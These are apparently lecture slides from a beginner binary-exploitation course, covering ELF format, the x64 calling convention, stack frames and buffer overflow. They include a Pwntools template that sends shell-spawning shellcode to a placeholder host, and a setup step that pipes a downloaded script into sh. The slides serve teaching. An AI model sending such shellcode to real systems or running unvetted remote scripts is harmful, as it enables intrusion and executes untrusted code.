0% found this document useful (0 votes)
13 views

pwn-basic

The document provides a comprehensive guide on binary exploitation, including installation instructions for the Pwn Basic environment and an outline of key topics such as binary format, calling conventions, and various exploitation techniques. It introduces useful tools like objdump, readelf, IDA Pro, GDB-PEDA, and Pwntools for analyzing and exploiting binaries. The document emphasizes the importance of understanding binary vulnerabilities to control program flow and achieve exploitation goals.

Uploaded by

star2755562152
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
13 views

pwn-basic

The document provides a comprehensive guide on binary exploitation, including installation instructions for the Pwn Basic environment and an outline of key topics such as binary format, calling conventions, and various exploitation techniques. It introduces useful tools like objdump, readelf, IDA Pro, GDB-PEDA, and Pwntools for analyzing and exploiting binaries. The document emphasizes the importance of understanding binary vulnerabilities to control program flow and achieve exploitation goals.

Uploaded by

star2755562152
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 217

Pwn Basic

segno
goo.gl/x1vvRf
Installation
$ wget http://tiny.cc/b3bqgz -O ~/pwn-basic-env-setup.sh

$ cat ~/pwn-basic-env-setup.sh # 在執⾏行行前請檢查內容

$ cat ~/pwn-basic-env-setup.sh | sh
Outline
• Introduction

• Binary Format

• x64 Calling Convention

• Stack Frame

• Buffer Overflow

• Return to Text
Outline
• Return to Shellcode

• Protection

• GOT Hijacking

• ROP

• Return to PLT

• Return to libc
Introduction
Introduction
• Binary Exploitation

• Useful Tools
Binary Exploitation
• 利利⽤用⼀一⽀支 Binary 的漏洞洞 (Vulnerability) 來來達到控制程式的流
程 (Control Flow)

• ⽬目的在於獲得程式的控制權

• ⼜又稱 Pwn
Binary Exploitation

Vulnerability Control Flow

Payload

Control
Useful Tools
• objdump

• readelf

• IDA Pro

• GDB-PEDA

• Pwntools
objdump
$ objdump -d -M intel bof machine code

bof: file format elf64-x86-64 assembler

Disassembly of section .init: assembly

00000000004004b0 <_init>:
4004b0: 48 83 ec 08 sub rsp, 0x8
4004b4: 48 8b 05 3d 0b 20 00 mov rax, QWORD PTR
4004bb: 48 85 c0 test rax, rax
4004be: 74 02 je 4004c2 <_init+0x12>
4004c0: ff d0 call rax
4004c2: 48 83 c4 08 add rsp, 0x8
4004c6: c3 ret
...

address machine code assembly


readelf
$ readelf -a bof

ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x400520
...
IDA Pro
IDA Pro
assembly

push rbp decompiler


mov rbp, rsp
sub rsp, 10h
lea rdi, s pseudo code
call _puts int __cdecl main()
mov rax, cs:__bss_start {
mov rdi, rax ; stream char buf; // [rsp+0h] [rbp-10h]
call _fflush
lea rax, [rbp+buf] puts("This is your first bof challenge ;)");
mov edx, 30h ; nbytes fflush(_bss_start);
mov rsi, rax ; buf read(0, &buf, 0x30uLL);
mov edi, 0 ; fd return 0;
call _read }
mov eax, 0
leave
retn
GDB-PEDA
• PEDA - Python Exploit Development Assistance for GDB

• Many useful features

• checksec

• vmmap

• find

• …
────────────────────────────────── Registers ──────────────────────────────────
RAX: 0x400687 (<main>: push rbp)
RBX: 0x0
RCX: 0x400770 (<__libc_csu_init>: push r15)
RDX: 0x7fffffffe448 --> 0x7fffffffe6cf ("LC_ALL=en_US.UTF-8")
RSI: 0x7fffffffe438 --> 0x7fffffffe68b
RDI: 0x1
RBP: 0x400770 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffe358 --> 0x7ffff7a05b97 (<__libc_start_main+231>: mov edi,eax)
register state RIP: 0x400687 (<main>: push
R8 : 0x7ffff7dd0d80 --> 0x0
rbp)

R9 : 0x7ffff7dd0d80 --> 0x0


R10: 0x0
R11: 0x0
R12: 0x4005a0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe430 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
───────────────────────────────────── Code ─────────────────────────────────────
0x400681 <frame_dummy+1>: mov rbp,rsp
0x400684 <frame_dummy+4>: pop rbp
0x400685 <frame_dummy+5>: jmp 0x400610 <register_tm_clones>
current code => 0x400687 <main>: push rbp
0x400688 <main+1>: mov rbp,rsp
0x40068b <main+4>: sub rsp,0x30
0x40068f <main+8>: mov rax,QWORD PTR [rip+0x2009ba]
0x400696 <main+15>: mov ecx,0x0
──────────────────────────────────── Stack ─────────────────────────────────────
0000| 0x7fffffffe358 --> 0x7ffff7a05b97 (<__libc_start_main+231>: mov edi,eax)
0008| 0x7fffffffe360 --> 0x1
0016| 0x7fffffffe368 --> 0x7fffffffe438 --> 0x7fffffffe68b
0024| 0x7fffffffe370 --> 0x100008000
stack values 0032| 0x7fffffffe378 --> 0x400687 (<main>: push rbp)
0040| 0x7fffffffe380 --> 0x0
0048| 0x7fffffffe388 --> 0x325c2f8374f70471
0056| 0x7fffffffe390 --> 0x4005a0 (<_start>: xor ebp,ebp)
────────────────────────────────────────────────────────────────────────────────
Legend: code, data, rodata, heap, value

Breakpoint 1, 0x0000000000400687 in main ()


gdb-peda$
Pwntools
• CTF framework and exploit development library

from pwn import *

context(arch = 'i386', os = 'linux')

r = remote('exploitme.example.com', 31337)

# EXPLOIT CODE GOES HERE


r.send(asm(shellcraft.sh()))
r.interactive()
Pwntools
p64(int) 0xfaceb00c => ‘\x0c\xb0\xce\xfa\x00\x00\x00\x00’

u64(str) ‘\x0c\xb0\xce\xfa\x00\x00\x00\x00’ => 0xfaceb00c

p32(int) 0xfaceb00c => ‘\x0c\xb0\xce\xfa’

u32(str) ‘\x0c\xb0\xce\xfa’ => 0xfaceb00c

remote(host, port) / process(path)

.recv(int) 7 => Hello world! => ‘Hello w’

.recvuntil(str) ‘or’ => Hello world! => ‘Hello wor’

.recvline() === .recvuntil(‘\n’)

.send(str) ‘payload’ => ‘payload’

.sendline(str) ‘payload’ => ‘payload\n’

.interactive()
Lab 0
nc isc.taiwan-te.ch 9999
Binary Format
Binary Format
• Linux - ELF

• rodata, data, code, stack, heap


Binary Format
0x400000
code VMA
ELF Header
0x601000
.init data VMA
0x602000
.plt
heap

.text
Memory Mapping
.rodata

.got
stack
.data 0x7ffffffff000

.bss
kernel space

In Disk
In Memory
x64 Calling Convention
x64 Calling Convention
• rdi, rsi, rdx, rcx, r8, r9, (push to stack)

• rdi, rsi, rdx, r10, r8, r9, (push to stack) for system call

• return value is stored in rax


x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);

rdi = push 0x800


rsi = push 0x700
rdx = mov r9d, 0x600
rcx = mov r8d, 0x500
r8 = mov ecx, 0x400
r9 = mov edx, 0x300
mov esi, 0x200
mov edi, 0x100
call foo

stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);

rdi = push 0x800


rsi = push 0x700
rdx = mov r9d, 0x600
rcx = mov r8d, 0x500
r8 = mov ecx, 0x400
r9 = mov edx, 0x300
mov esi, 0x200
mov edi, 0x100
call foo

0x800

stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);

rdi = push 0x800


rsi = push 0x700
rdx = mov r9d, 0x600
rcx = mov r8d, 0x500
r8 = mov ecx, 0x400
r9 = mov edx, 0x300
mov esi, 0x200
mov edi, 0x100
call foo

0x700

0x800

stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);

rdi = push 0x800


rsi = push 0x700
rdx = mov r9d, 0x600
rcx = mov r8d, 0x500
r8 = mov ecx, 0x400
r9 = 0x600 mov edx, 0x300
mov esi, 0x200
mov edi, 0x100
call foo

0x700

0x800

stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);

rdi = push 0x800


rsi = push 0x700
rdx = mov r9d, 0x600
rcx = mov r8d, 0x500
r8 = 0x500 mov ecx, 0x400
r9 = 0x600 mov edx, 0x300
mov esi, 0x200
mov edi, 0x100
call foo

0x700

0x800

stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);

rdi = push 0x800


rsi = push 0x700
rdx = mov r9d, 0x600
rcx = 0x400 mov r8d, 0x500
r8 = 0x500 mov ecx, 0x400
r9 = 0x600 mov edx, 0x300
mov esi, 0x200
mov edi, 0x100
call foo

0x700

0x800

stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);

rdi = push 0x800


rsi = push 0x700
rdx = 0x300 mov r9d, 0x600
rcx = 0x400 mov r8d, 0x500
r8 = 0x500 mov ecx, 0x400
r9 = 0x600 mov edx, 0x300
mov esi, 0x200
mov edi, 0x100
call foo

0x700

0x800

stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);

rdi = push 0x800


rsi = 0x200 push 0x700
rdx = 0x300 mov r9d, 0x600
rcx = 0x400 mov r8d, 0x500
r8 = 0x500 mov ecx, 0x400
r9 = 0x600 mov edx, 0x300
mov esi, 0x200
mov edi, 0x100
call foo

0x700

0x800

stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);

rdi = 0x100 push 0x800


rsi = 0x200 push 0x700
rdx = 0x300 mov r9d, 0x600
rcx = 0x400 mov r8d, 0x500
r8 = 0x500 mov ecx, 0x400
r9 = 0x600 mov edx, 0x300
mov esi, 0x200
mov edi, 0x100
call foo

0x700

0x800

stack
x64 Calling Convention
foo(0x100, 0x200, 0x300, 0x400, 0x500, 0x600, 0x700, 0x800);

rdi = 0x100 push 0x800


rsi = 0x200 push 0x700
rdx = 0x300 mov r9d, 0x600
rcx = 0x400 mov r8d, 0x500
r8 = 0x500 mov ecx, 0x400
r9 = 0x600 mov edx, 0x300
mov esi, 0x200
mov edi, 0x100
call foo
return address

0x700

0x800

stack
Stack Frame
Stack Frame
• Function Prologue

• Function Epilogue

• Example
Function Prologue
rsp = 0x7fffffffeff8 4004e7: push rbp
rbp = 0x7ffffffff000 4004e8: mov rbp, rsp
rip = 0x400522 4004eb: sub rsp, 0x10

400522: call 4004e7


400527: ...

0x7fffffffeff8 0xdeadbeef rsp

0x7ffffffff000 0xfacebooc rbp

stack
Function Prologue
rsp = 0x7fffffffeff0 4004e7: push rbp
rbp = 0x7ffffffff000 4004e8: mov rbp, rsp
rip = 0x4004e7 4004eb: sub rsp, 0x10

400522: call 4004e7


400527: ...

0x7fffffffeff0 0x400527 rsp

0x7fffffffeff8 0xdeadbeef

0x7ffffffff000 0xfacebooc rbp

stack
Function Prologue
rsp = 0x7fffffffefe8 4004e7: push rbp
rbp = 0x7ffffffff000 4004e8: mov rbp, rsp
rip = 0x4004e8 4004eb: sub rsp, 0x10

400522: call 4004e7


400527: ...

0x7fffffffefe8 0x7ffffffff000 rsp

0x7fffffffeff0 0x400527

0x7fffffffeff8 0xdeadbeef

0x7ffffffff000 0xfacebooc rbp

stack
Function Prologue
rsp = 0x7fffffffefe8 4004e7: push rbp
rbp = 0x7fffffffefe8 4004e8: mov rbp, rsp
rip = 0x4004eb 4004eb: sub rsp, 0x10

400522: call 4004e7


400527: ...

0x7fffffffefe8 0x7ffffffff000 rsp, rbp

0x7fffffffeff0 0x400527

0x7fffffffeff8 0xdeadbeef

0x7ffffffff000 0xfacebooc

stack
Function Prologue
rsp = 0x7fffffffefd8 4004e7: push rbp
rbp = 0x7fffffffefe8 4004e8: mov rbp, rsp
rip = 0x4004ef 4004eb: sub rsp, 0x10

400522: call 4004e7


0x7fffffffefd8 rsp
400527: ...
0x7fffffffefe0

0x7fffffffefe8 0x7ffffffff000 rbp

0x7fffffffeff0 0x400527

0x7fffffffeff8 0xdeadbeef

0x7ffffffff000 0xfacebooc

stack
Function Prologue
rsp = 0x7fffffffefd8 4004e7: push rbp
rbp = 0x7fffffffefe8 4004e8: mov rbp, rsp
rip = 0x4004ef 4004eb: sub rsp, 0x10

400522: call 4004e7


0x7fffffffefd8 local variable rsp
400527: ...
0x7fffffffefe0 local variable

0x7fffffffefe8 0x7ffffffff000 rbp

0x7fffffffeff0 0x400527

0x7fffffffeff8 0xdeadbeef

0x7ffffffff000 0xfacebooc

stack
Function Prologue
rsp = 0x7fffffffefd8 4004e7: push rbp
rbp = 0x7fffffffefe8 4004e8: mov rbp, rsp
rip = 0x4004ef 4004eb: sub rsp, 0x10

400522: call 4004e7


0x7fffffffefd8 local variable rsp
400527: ...
0x7fffffffefe0 local variable

0x7fffffffefe8 0x7ffffffff000 rbp

0x7fffffffeff0 0x400527

0x7fffffffeff8 0xdeadbeef

0x7ffffffff000 0xfacebooc

stack
Function Epilogue
rsp = 0x7fffffffefd8 400513: leave
rbp = 0x7fffffffefe8 400514: ret
rip = 0x400513

400522: call 4004e7


400527: ...
0x7fffffffefd8 local variable rsp

0x7fffffffefe0 local variable

0x7fffffffefe8 0x7ffffffff000 rbp

0x7fffffffeff0 0x400527

0x7fffffffeff8 0xdeadbeef

0x7ffffffff000 0xfacebooc

stack
Function Epilogue
rsp = 0x7fffffffefd8 400513: leave
rbp = 0x7fffffffefe8 400514: ret
rip = 0x400513

400522: call 4004e7


400527: ...
0x7fffffffefd8 local variable rsp

0x7fffffffefe0 local variable

0x7fffffffefe8 0x7ffffffff000 rbp

0x7fffffffeff0 0x400527
mov rsp, rbp
0xdeadbeef
leave =
0x7fffffffeff8 pop rbp
0x7ffffffff000 0xfacebooc

stack
Function Epilogue
rsp = 0x7fffffffefe8 400513: leave
rbp = 0x7fffffffefe8 400514: ret
rip = 0x400513

400522: call 4004e7


400527: ...
0x7fffffffefd8 local variable

0x7fffffffefe0 local variable

0x7fffffffefe8 0x7ffffffff000 rbp, rsp

0x7fffffffeff0 0x400527
mov rsp, rbp
0xdeadbeef
leave =
0x7fffffffeff8 pop rbp
0x7ffffffff000 0xfacebooc

stack
Function Epilogue
rsp = 0x7fffffffeff0 400513: leave
rbp = 0x7ffffffff000 400514: ret
rip = 0x400514

400522: call 4004e7


400527: ...
0x7fffffffefd8 local variable

0x7fffffffefe0 local variable

0x7fffffffefe8 0x7ffffffff000

0x7fffffffeff0 0x400527 rsp


mov rsp, rbp
0xdeadbeef
leave =
0x7fffffffeff8 pop rbp
0x7ffffffff000 0xfacebooc rbp

stack
Function Epilogue
rsp = 0x7fffffffeff8 400513: leave
rbp = 0x7ffffffff000 400514: ret
rip = 0x400527

400522: call 4004e7


400527: ...
0x7fffffffefd8 local variable

0x7fffffffefe0 local variable

0x7fffffffefe8 0x7ffffffff000

0x7fffffffeff0 0x400527
mov rsp, rbp
0xdeadbeef
leave =
0x7fffffffeff8 rsp pop rbp
0x7ffffffff000 0xfacebooc rbp

stack
Function Epilogue
rsp = 0x7fffffffeff8 400513: leave
rbp = 0x7ffffffff000 400514: ret
rip =

400522: call 4004e7


400527: ...
0x7fffffffefd8 local variable

0x7fffffffefe0 local variable

0x7fffffffefe8 0x7ffffffff000

0x7fffffffeff0 0x400527
mov rsp, rbp
0xdeadbeef
leave =
0x7fffffffeff8 rsp pop rbp
0x7ffffffff000 0xfacebooc rbp

stack
Function Epilogue
rsp = 0x7fffffffeff8 400513: leave
rbp = 0x7ffffffff000 400514: ret
rip =

400522: call 4004e7


400527: ...
0x7fffffffefd8 local variable

0x7fffffffefe0 local variable

0x7fffffffefe8 0x7ffffffff000

0x7fffffffeff0 0x400527
mov rsp, rbp
0xdeadbeef
leave =
0x7fffffffeff8 rsp pop rbp
0x7ffffffff000 0xfacebooc rbp

stack
Example
#include <stdio.h>

int add(int num)


{
if (num == 1) return 1;
return num + add(num - 1);
}

int main()
{
int val;
val = add(2);
printf("%d\n", val);
return 0;
}
Example
0000000000400515 <main>:
400515: push rbp
400516: mov rbp, rsp
400519: sub rsp, 0x10
40051d: mov edi, 0x2
400522: call 4004e7 <add>
400527: mov DWORD PTR [rbp-0x4], eax
40052a: mov eax, DWORD PTR [rbp-0x4]
40052d: mov esi, eax
40052f: lea rdi, [rip+0x9e]
400536: mov eax, 0x0
40053b: call 4003f0 <printf@plt>
400540: mov eax, 0x0
400545: leave
400546: ret

__libc_start_main+231 ret addr


Example
0000000000400515 <main>:
400515: push rbp
400516: mov rbp, rsp
400519: sub rsp, 0x10
40051d: mov edi, 0x2
400522: call 4004e7 <add>
400527: mov DWORD PTR [rbp-0x4], eax
40052a: mov eax, DWORD PTR [rbp-0x4]
40052d: mov esi, eax
40052f: lea rdi, [rip+0x9e]
400536: mov eax, 0x0
40053b: call 4003f0 <printf@plt>
400540: mov eax, 0x0
400545: leave
400546: ret

old rbp

ret addr
Example
0000000000400515 <main>:
400515: push rbp
400516: mov rbp, rsp
400519: sub rsp, 0x10
40051d: mov edi, 0x2
400522: call 4004e7 <add>
400527: mov DWORD PTR [rbp-0x4], eax
40052a: mov eax, DWORD PTR [rbp-0x4]
40052d: mov esi, eax
40052f: lea rdi, [rip+0x9e]
400536: mov eax, 0x0
40053b: call 4003f0 <printf@plt>
400540: mov eax, 0x0 0x400527

400545: leave
400546: ret

old rbp

ret addr
Example
00000000004004e7 <add>:
4004e7: push rbp
4004e8: mov rbp, rsp
4004eb: sub rsp, 0x10
4004ef: mov DWORD PTR [rbp-0x4], edi
4004f2: cmp DWORD PTR [rbp-0x4], 0x1
4004f6: jne 4004ff <add+0x18>
4004f8: mov eax, 0x1
4004fd: jmp 400513 <add+0x2c>
4004ff: mov eax, DWORD PTR [rbp-0x4]
400502: sub eax, 0x1
400505: mov edi, eax
400507: call 4004e7 <add> 0x400527

40050c: mov edx, eax


40050e: mov eax, DWORD PTR [rbp-0x4]
400511: add eax, edx
400513: leave old rbp

400514: ret ret addr


Example
00000000004004e7 <add>:
4004e7: push rbp
4004e8: mov rbp, rsp
4004eb: sub rsp, 0x10
4004ef: mov DWORD PTR [rbp-0x4], edi
4004f2: cmp DWORD PTR [rbp-0x4], 0x1
4004f6: jne 4004ff <add+0x18>
4004f8: mov eax, 0x1
4004fd: jmp 400513 <add+0x2c>
4004ff: mov eax, DWORD PTR [rbp-0x4]
400502: sub eax, 0x1
400505: mov edi, eax old rbp

400507: call 4004e7 <add> 0x400527

40050c: mov edx, eax


40050e: mov eax, DWORD PTR [rbp-0x4]
400511: add eax, edx
400513: leave old rbp

400514: ret ret addr


Example
00000000004004e7 <add>:
4004e7: push rbp
4004e8: mov rbp, rsp
4004eb: sub rsp, 0x10
4004ef: mov DWORD PTR [rbp-0x4], edi
4004f2: cmp DWORD PTR [rbp-0x4], 0x1
4004f6: jne 4004ff <add+0x18>
4004f8: mov eax, 0x1
4004fd: jmp 400513 <add+0x2c>
4004ff: mov eax, DWORD PTR [rbp-0x4]
0x2
400502: sub eax, 0x1
400505: mov edi, eax old rbp

400507: call 4004e7 <add> 0x400527

40050c: mov edx, eax


40050e: mov eax, DWORD PTR [rbp-0x4]
400511: add eax, edx
400513: leave old rbp

400514: ret ret addr


Example
00000000004004e7 <add>:
4004e7: push rbp
4004e8: mov rbp, rsp
4004eb: sub rsp, 0x10
4004ef: mov DWORD PTR [rbp-0x4], edi
4004f2: cmp DWORD PTR [rbp-0x4], 0x1
4004f6: jne 4004ff <add+0x18>
4004f8: mov eax, 0x1 0x40050c

4004fd: jmp 400513 <add+0x2c>


4004ff: mov eax, DWORD PTR [rbp-0x4]
0x2
400502: sub eax, 0x1
400505: mov edi, eax old rbp

400507: call 4004e7 <add> 0x400527

40050c: mov edx, eax


40050e: mov eax, DWORD PTR [rbp-0x4]
400511: add eax, edx
400513: leave old rbp

400514: ret ret addr


Example
00000000004004e7 <add>:
4004e7: push rbp
4004e8: mov rbp, rsp
4004eb: sub rsp, 0x10
4004ef: mov DWORD PTR [rbp-0x4], edi
4004f2: cmp DWORD PTR [rbp-0x4], 0x1
4004f6: jne 4004ff <add+0x18>
4004f8: mov eax, 0x1 0x40050c

4004fd: jmp 400513 <add+0x2c>


4004ff: mov eax, DWORD PTR [rbp-0x4]
0x2
400502: sub eax, 0x1
400505: mov edi, eax old rbp

400507: call 4004e7 <add> 0x400527

40050c: mov edx, eax


40050e: mov eax, DWORD PTR [rbp-0x4]
400511: add eax, edx
400513: leave old rbp

400514: ret ret addr


Example
00000000004004e7 <add>:
4004e7: push rbp
4004e8: mov rbp, rsp
4004eb: sub rsp, 0x10
4004ef: mov DWORD PTR [rbp-0x4], edi
4004f2: cmp DWORD PTR [rbp-0x4], 0x1
4004f6: jne 4004ff <add+0x18> old rbp

4004f8: mov eax, 0x1 0x40050c

4004fd: jmp 400513 <add+0x2c>


4004ff: mov eax, DWORD PTR [rbp-0x4]
0x2
400502: sub eax, 0x1
400505: mov edi, eax old rbp

400507: call 4004e7 <add> 0x400527

40050c: mov edx, eax


40050e: mov eax, DWORD PTR [rbp-0x4]
400511: add eax, edx
400513: leave old rbp

400514: ret ret addr


Example
00000000004004e7 <add>:
4004e7: push rbp
4004e8: mov rbp, rsp
4004eb: sub rsp, 0x10
4004ef: mov DWORD PTR [rbp-0x4], edi
0x1
4004f2: cmp DWORD PTR [rbp-0x4], 0x1
4004f6: jne 4004ff <add+0x18> old rbp

4004f8: mov eax, 0x1 0x40050c

4004fd: jmp 400513 <add+0x2c>


4004ff: mov eax, DWORD PTR [rbp-0x4]
0x2
400502: sub eax, 0x1
400505: mov edi, eax old rbp

400507: call 4004e7 <add> 0x400527

40050c: mov edx, eax


40050e: mov eax, DWORD PTR [rbp-0x4]
400511: add eax, edx
400513: leave old rbp

400514: ret ret addr


Example
00000000004004e7 <add>:
4004e7: push rbp
4004e8: mov rbp, rsp
4004eb: sub rsp, 0x10
4004ef: mov DWORD PTR [rbp-0x4], edi
0x1
4004f2: cmp DWORD PTR [rbp-0x4], 0x1
4004f6: jne 4004ff <add+0x18> old rbp

4004f8: mov eax, 0x1 0x40050c

4004fd: jmp 400513 <add+0x2c>


4004ff: mov eax, DWORD PTR [rbp-0x4]
0x2
400502: sub eax, 0x1
400505: mov edi, eax old rbp

400507: call 4004e7 <add> 0x400527

40050c: mov edx, eax


40050e: mov eax, DWORD PTR [rbp-0x4]
400511: add eax, edx
400513: leave old rbp

400514: ret ret addr


Example
00000000004004e7 <add>:
4004e7: push rbp
4004e8: mov rbp, rsp
4004eb: sub rsp, 0x10
4004ef: mov DWORD PTR [rbp-0x4], edi
4004f2: cmp DWORD PTR [rbp-0x4], 0x1
4004f6: jne 4004ff <add+0x18>
4004f8: mov eax, 0x1 0x40050c

4004fd: jmp 400513 <add+0x2c>


4004ff: mov eax, DWORD PTR [rbp-0x4]
0x2
400502: sub eax, 0x1
400505: mov edi, eax old rbp

400507: call 4004e7 <add> 0x400527

40050c: mov edx, eax


40050e: mov eax, DWORD PTR [rbp-0x4]
400511: add eax, edx
400513: leave old rbp

400514: ret ret addr


Example
00000000004004e7 <add>:
4004e7: push rbp
4004e8: mov rbp, rsp
4004eb: sub rsp, 0x10
4004ef: mov DWORD PTR [rbp-0x4], edi
4004f2: cmp DWORD PTR [rbp-0x4], 0x1
4004f6: jne 4004ff <add+0x18>
4004f8: mov eax, 0x1
4004fd: jmp 400513 <add+0x2c>
4004ff: mov eax, DWORD PTR [rbp-0x4]
0x2
400502: sub eax, 0x1
400505: mov edi, eax old rbp

400507: call 4004e7 <add> 0x400527

40050c: mov edx, eax


40050e: mov eax, DWORD PTR [rbp-0x4]
400511: add eax, edx
400513: leave old rbp

400514: ret ret addr


Example
00000000004004e7 <add>:
4004e7: push rbp
4004e8: mov rbp, rsp
4004eb: sub rsp, 0x10
4004ef: mov DWORD PTR [rbp-0x4], edi
4004f2: cmp DWORD PTR [rbp-0x4], 0x1
4004f6: jne 4004ff <add+0x18>
4004f8: mov eax, 0x1
4004fd: jmp 400513 <add+0x2c>
4004ff: mov eax, DWORD PTR [rbp-0x4]
0x2
400502: sub eax, 0x1
400505: mov edi, eax old rbp

400507: call 4004e7 <add> 0x400527

40050c: mov edx, eax


40050e: mov eax, DWORD PTR [rbp-0x4]
400511: add eax, edx
400513: leave old rbp

400514: ret ret addr


Example
00000000004004e7 <add>:
4004e7: push rbp
4004e8: mov rbp, rsp
4004eb: sub rsp, 0x10
4004ef: mov DWORD PTR [rbp-0x4], edi
4004f2: cmp DWORD PTR [rbp-0x4], 0x1
4004f6: jne 4004ff <add+0x18>
4004f8: mov eax, 0x1
4004fd: jmp 400513 <add+0x2c>
4004ff: mov eax, DWORD PTR [rbp-0x4]
0x2
400502: sub eax, 0x1
400505: mov edi, eax old rbp

400507: call 4004e7 <add> 0x400527

40050c: mov edx, eax


40050e: mov eax, DWORD PTR [rbp-0x4]
400511: add eax, edx
400513: leave old rbp

400514: ret ret addr


Example
00000000004004e7 <add>:
4004e7: push rbp
4004e8: mov rbp, rsp
4004eb: sub rsp, 0x10
4004ef: mov DWORD PTR [rbp-0x4], edi
4004f2: cmp DWORD PTR [rbp-0x4], 0x1
4004f6: jne 4004ff <add+0x18>
4004f8: mov eax, 0x1
4004fd: jmp 400513 <add+0x2c>
4004ff: mov eax, DWORD PTR [rbp-0x4]
400502: sub eax, 0x1
400505: mov edi, eax
400507: call 4004e7 <add> 0x400527

40050c: mov edx, eax


40050e: mov eax, DWORD PTR [rbp-0x4]
400511: add eax, edx
400513: leave old rbp

400514: ret ret addr


Example
00000000004004e7 <add>:
4004e7: push rbp
4004e8: mov rbp, rsp
4004eb: sub rsp, 0x10
4004ef: mov DWORD PTR [rbp-0x4], edi
4004f2: cmp DWORD PTR [rbp-0x4], 0x1
4004f6: jne 4004ff <add+0x18>
4004f8: mov eax, 0x1
4004fd: jmp 400513 <add+0x2c>
4004ff: mov eax, DWORD PTR [rbp-0x4]
400502: sub eax, 0x1
400505: mov edi, eax
400507: call 4004e7 <add>
40050c: mov edx, eax
40050e: mov eax, DWORD PTR [rbp-0x4]
400511: add eax, edx
400513: leave old rbp

400514: ret ret addr


Example
0000000000400515 <main>:
400515: push rbp
400516: mov rbp, rsp
400519: sub rsp, 0x10
40051d: mov edi, 0x2
400522: call 4004e7 <add>
400527: mov DWORD PTR [rbp-0x4], eax
40052a: mov eax, DWORD PTR [rbp-0x4]
40052d: mov esi, eax
40052f: lea rdi, [rip+0x9e]
400536: mov eax, 0x0
40053b: call 4003f0 <printf@plt>
400540: mov eax, 0x0
400545: leave
400546: ret

old rbp

ret addr
Example
0000000000400515 <main>:
400515: push rbp
400516: mov rbp, rsp
400519: sub rsp, 0x10
40051d: mov edi, 0x2
400522: call 4004e7 <add>
400527: mov DWORD PTR [rbp-0x4], eax
40052a: mov eax, DWORD PTR [rbp-0x4]
40052d: mov esi, eax
40052f: lea rdi, [rip+0x9e]
400536: mov eax, 0x0
40053b: call 4003f0 <printf@plt>
400540: mov eax, 0x0
400545: leave
400546: ret

old rbp

ret addr
Example
0000000000400515 <main>:
400515: push rbp
400516: mov rbp, rsp
400519: sub rsp, 0x10
40051d: mov edi, 0x2
400522: call 4004e7 <add>
400527: mov DWORD PTR [rbp-0x4], eax
40052a: mov eax, DWORD PTR [rbp-0x4]
40052d: mov esi, eax
40052f: lea rdi, [rip+0x9e]
400536: mov eax, 0x0
40053b: call 4003f0 <printf@plt>
400540: mov eax, 0x0
400545: leave
400546: ret

ret addr
Example
0000000000400515 <main>:
400515: push rbp
400516: mov rbp, rsp
400519: sub rsp, 0x10
40051d: mov edi, 0x2
400522: call 4004e7 <add>
400527: mov DWORD PTR [rbp-0x4], eax
40052a: mov eax, DWORD PTR [rbp-0x4]
40052d: mov esi, eax
40052f: lea rdi, [rip+0x9e]
400536: mov eax, 0x0
40053b: call 4003f0 <printf@plt>
400540: mov eax, 0x0
400545: leave
400546: ret
Buffer Overflow
Buffer Overflow
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
char buf[0x10];
read(0, buf, 0x30);
return 0;
}
Buffer Overflow
#include <stdio.h>
#include <stdlib.h>
buf[0x0] ~ buf[0x7] rsp
#include <unistd.h>
buf[0x8] ~ buf[0x10]
int main()
{ old rbp rbp
char buf[0x10];
return address
read(0, buf, 0x30);
return 0;
}

stack
Buffer Overflow
#include <stdio.h>
#include <stdlib.h>
buf[0x0] ~ buf[0x7] ‘aaaaaaaa’ rsp
#include <unistd.h>
buf[0x8] ~ buf[0x10] ‘aaaaaaaa’
int main()
{ old rbp rbp
char buf[0x10];
return address
read(0, buf, 0x30);
return 0;
}

stack
input: aaaaaaaaaaaaaaaaa
0x10
Buffer Overflow
#include <stdio.h>
#include <stdlib.h>
buf[0x0] ~ buf[0x7] ‘aaaaaaaa’ rsp
#include <unistd.h>
buf[0x8] ~ buf[0x10] ‘aaaaaaaa’
int main()
{ ‘aaaaaaaa’ rbp
char buf[0x10];
‘aaaaaaaa’
read(0, buf, 0x30);
return 0;
}

stack
input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
0x20
Buffer Overflow
rsp = 0x7fffffffefd8
rbp = 0x7fffffffefe8
rip = 0x400677
0x7fffffffefd8 ‘aaaaaaaa’ rsp

0x7fffffffefe0 ‘aaaaaaaa’

0x7fffffffefe8 ‘aaaaaaaa’ rbp

400677: leave 0x7fffffffeff0 ‘aaaaaaaa’


400678: ret
0x7fffffffeff8

0x7ffffffff000

stack
Buffer Overflow
rsp = 0x7fffffffefe8
rbp = 0x7fffffffefe8
rip = 0x400677
0x7fffffffefd8 ‘aaaaaaaa’

